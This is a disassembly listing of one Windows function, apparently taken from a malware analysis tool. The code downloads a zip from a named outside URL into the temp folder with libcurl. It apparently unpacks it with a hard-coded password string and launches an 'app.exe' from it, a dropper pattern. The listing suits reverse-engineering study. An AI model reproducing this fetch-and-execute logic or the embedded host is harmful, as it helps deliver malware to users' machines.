Function at 0x1400024b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov ebx, 0xf
mov r8d, ebx
lea rdx, str.application.zip
lea rcx, [rbp - 0x38]
call fcn.1400047a0
nop
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
xorps xmm0, xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x48], xmm0
cmp eax, 0x102
ja 0x140002560
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002550
lea rdx, [rbp - 0x10]
jmp 0x14000256a
xor r8d, r8d
lea rdx, [0x1400065d1]
lea rcx, [rsp + 0x48]
call fcn.1400047a0
nop
lea r8, [rbp - 0x38]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x78]
call fcn.140004530
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov r8d, 0xc
lea rdx, str.___2WE__Ok
lea rcx, [rbp - 0x58]
call fcn.1400047a0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x41
lea rdx, str.https:__wiserentr.proyectos_lineagrafica.com_temp_application.zip
lea rcx, [rsp + 0x20]
call fcn.1400047a0
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rdi, rax
test rax, rax
je 0x140002657
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
lea r8, [0x1400065dc]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x14000264e
lea r8, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova r8, qword [rsp + 0x20]
mov edx, 0x2712
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, qword [rsp + 0x40]
mov edx, 0x2711
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140002697
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002692
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002692
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004dec
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x78]
call fcn.140001530
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rsp + 0x58]
sub rax, r14
cmp rax, 7
jb 0x14000294d
lea r13, [rsp + 0x48]
mov rsi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x60]
cmp r15, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea r12, [r14 + 7]
lea rdi, [rsp + 0x68]
cmp r12, 0xf
jbe 0x140002779
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000273b
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004db0
test rax, rax
je 0x1400027f7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002774
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002763
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002953
jmp 0x14000271c
test rcx, rcx
je 0x140002772
call fcn.140004db0
mov rdi, rax
jmp 0x140002774
xor edi, edi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], rbx
mov r8, r14
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [str.app.exe]
mov dword [rdi + r14], eax
movzx eax, word [0x14000678c]
mov word [rdi + r14 + 4], ax
movzx eax, byte [0x14000678e]
mov byte [rdi + r14 + 6], al
mov byte [rdi + r12], 0
lea rcx, [rsp + 0x68]
call fcn.140001a80
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140002804
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004dec
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140002842
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000283d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000283d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004dec
movdqa xmm0, xmmword [0x1400068f0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140002891
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000288c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000288c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004dec
movdqa xmm0, xmmword [0x1400068f0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
cmp r15, 0xf
jbe 0x1400028dd
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400028d4
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140004dec
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14000291b
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002916
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002916
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004dec
xor eax, eax
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140004d90
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3